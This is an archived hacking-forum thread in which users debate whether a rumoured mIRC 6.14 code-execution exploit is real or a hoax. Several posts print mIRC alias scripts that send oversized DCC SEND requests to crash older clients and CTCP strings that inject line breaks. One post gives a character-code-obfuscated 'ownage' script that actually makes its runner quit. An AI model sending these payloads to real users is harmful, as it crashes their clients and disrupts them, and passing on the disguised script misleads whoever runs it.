hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Mirc Vulerability
AciD-FluX
there is apparently a new exploit that will execute arbitrary code on every mirc version up to and including 6.14. it was announced on a server i was on today. i havent been able to find any information on it but i would like to know if anyone else knows about this. thanks
sPiKie
A new DCC security issue has been discovered in mIRC. This is a completely new DCC exploit unrelated to previous exploits, and all versions are vulnerable to this new discovery, including the new 6.14. Malicious users have already been found who abuse this exploit against users. This new exploit is rather serious as it does not just crash a mIRC client, but allows the malicious user to execute arbitrary code, as well as perform any mIRC command. At this point no patch is available to close the exploit. Ignoring all DCC requests, or having a proxy in between the client and the user which blocks DCC requests will prevent the exploit being abused. You can either ignore DCC's from the configuration panel which can be accessed through ALT-O, or use the following command from any window: /ignore -wd *
Hexadecimal
maybe its a joke cuz "/ignore -wd * " ignores everyone. They said put it in your perform. :/ I dont kno... maybe its real. Anyone have info about it?
JustC
There is no new exploit in 6.14, it is just some hoax that is going around.
for those who have type /ignore -wd * should type /ignore -rwd *
pidnull
huh.gif Ok. Now im really confused. I was on some network and they gave a global notice on this exploit.. i guess we just wait and see it on ircjunkie or see it on mirc.com or other mirc related websites but until that happens no one's really sure.


Only time will tell
buzzons
well seeing as it was posted by the serve admin on

EFnet
DalNet
QuakeNet

it looks like its real .. yet no one knows exactly what it does.. even the forums on mirc.com have no real ans sad.gif

buz
nexact
MMmm, it wont be easy to find this exploit tongue.gif
fyle
Heres what the ops of #mIRC on undernet have to say on the subject:

* Now talking in #mIRC
* Topic is 'mIRC 6.14 http://www.mirc.co.uk http://www.mirc.com (There is no exploit out... QuakeNet is run by idiots... if you're really scared, type /ignore -wd * )'
* Set by Sais on Wed Mar 24 15:24:43
nexact
mm k dry.gif
Major Chrome
Love the topic in #mIRC biggrin.gif
liquidSilver
All I know is this one crashes mIRC 6.14:

Put this in your aliases in mirc:


CODE
/crash { raw privmsg $1 : $+ $chr(1) $+ DCC SEND " $+ $str( $+ $rand(a,z) $+ $chr(32),165) $+ " $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }


CODE
/crash (nickname)


Regards,
LS

.. Edit: 6.14
Niekos
I tried it but it wont work...

QUOTE

[11:46] DCC Send from Niekos rejected (invalid parameters)
KieMaN
it was a Joke at the end ?
AciD-FluX
I believe that the script that was shown above was for a old vulnerability in mIRC. They have since fixed that problem in a newer mIRC version. I have heard nothing else of this newer exploit I was enquiring about. If I do happen to find anything out, I will post it here.
liquidSilver
I success everytime using that one.. No fun at all anywayz, but ehh.. Dunno if they have mIRC 6.12.? blink.gif
Sedolf
thats the old one for =<6.11
hitu
blink.gif wtf

CODE
[19:32:34] [Nick VERSION]
-
[19:32:48] DCC Get of google_gigglex4.zip                                                                                                                                                                                                                                            .txt from Nick complete (00:00:01 2.51 GB/Sec)
[R]u[F]y
Someone has some news about this vulnerability?

I have read that this vulnerability works with VERSION REPLY.

//raw privmsg <nick> : $+ $chr(1) $+ VERSION $+ $chr(1)

This code is /CTCP <nick> VERSION.

What is the CTCP REPLY code?
fyle
//raw NOTICE $me $chr(1) $+ Version $+ $chr(1)

privmsg = request
notice = reply
Sp00ky
edit because i exadently posted it in dutch language tongue.gif

: this sounds nice but what does it do? does it only crash the nick you are exploiting?
and hows does this exploit work?
[R]u[F]y
//raw NOTICE $me $chr(1) $+ Version $+ $chr(1)

This command is:

[<nick> VERSION: reply]

But, if i want to read something?

Ex:

[<nick> VERSION reply]: mIRC v6.14 Khaled Mardam-Bey

It isn't the same thing...
[R]u[F]y
I probabily discovered the BUG.

But i need to know the complete //raw NOTICE command

Reply to this post, it is important.
fyle
raw notice $me : $+ $chr(1) $+ VERSION some version reply string $+ $chr(1)

I've been playing with chr(1-31) in version replys for the last hour, $decodes, $eval, math functions and stuff, long strings with wierd characters, i can't find anything. Gonna get my hex on now.

Do tell what the bug is.
[R]u[F]y
Try with this and look biggrin.gif

//CTCP victim VERSION $chr(10) $+ $decode(cXVpdCBsYW1lcg==,m)
Gotisch
Rufy you are sooooo funny .
[R]u[F]y`
I think that:

This bug works as local Exploit, but someone can test it as C++ program?

Someone can try to send this string via IRC?

it work with:

//CTCP $me VERSION $chr(13) $+ quit lamer

//CTCP $me FINGER $chr(13) $+ quit lamer

//CTCP $me TIME $chr(13) $+ quit lamer

ecc....
but not with

//CTCP $me PING $chr(13) $+ quit lamer

I don't know C++ but i think that it probabily works as Remote Exploit
fyle
No, everything is delimited by cr or lf. Its how the software determines when one command string ends and another begins. If this is the alleged vulnerability - its not.
SCVirus
if this is real its probably yet another dcc buffer overflow this time if you send them 5 thousand bytes of null shellcode then the exec shell code of something.
thend
wnage { echo -a [Trying to 0wn $1 $+ ] | raw privmsg $1 : $+ $chr(1) $+ VERSION " $+ $str( $+ $rand(a,z) $+ $chr(32),200) $+ " + $chr(1) + $version | echo -a [Sending DoS!] | $chr(47) $+ $chr(113) $+ $chr(117) $+ $chr(105) $+ $chr(116) $chr(73) $chr(71) $+ $chr(79) $+ $chr(84) $chr(79) $+ $chr(87) $+ $chr(78) $+ $chr(69) $+ $chr(68) $chr(66) $+ $chr(89) $chr(68) $+ $chr(51) $+ $chr(65) $+ $chr(68) $+ $chr(76) $+ $chr(105) $+ $chr(78) $+ $chr(51) | echo -a [0wned] }

USEAGE:

/ownage targetnick ohmy.gif
Niekos
That just crashes yourself ph34r.gif
D3ADLiN3
lol major 0day remote root exploit 0wnage advanced connect back shell local cross site scripting administrator gaining DoS exploit (mass rooter) biggrin.gif
easternerd
This was Messaged by the admins at Undernet too,...
first i thought this was an old vulnerability .
But then some l33t used the trick against me.
but i cancelled the dcc . so i dont know if it works.
i just added this
/crash { raw privmsg $1 : $+ $chr(1) $+ DCC SEND " $+ $str( $+ $rand(a,z) $+ $chr(32),165) $+ " $longip(127.0.0.1) $rand(113,9999) $+ $chr(1) }

to my alias

now when i /crash <Nickname>
this is the output:
[00:26] -> Server: privmsg MrIT :DCC SEND "t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t t " 2130706433 341
the person to whom i sent has to accept it for me to identify wheather it works or not

Niekos
But on which port spawns the shell ?
[R]u[F]y`
I have read this:

http://trout.snt.utwente.nl/ubbthreads/sho...=5&o=31&fpart=1

on mirc's forum.

There isn't a VERSION Exploit, but an ADDON Exploit.

More lucky next time... dry.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.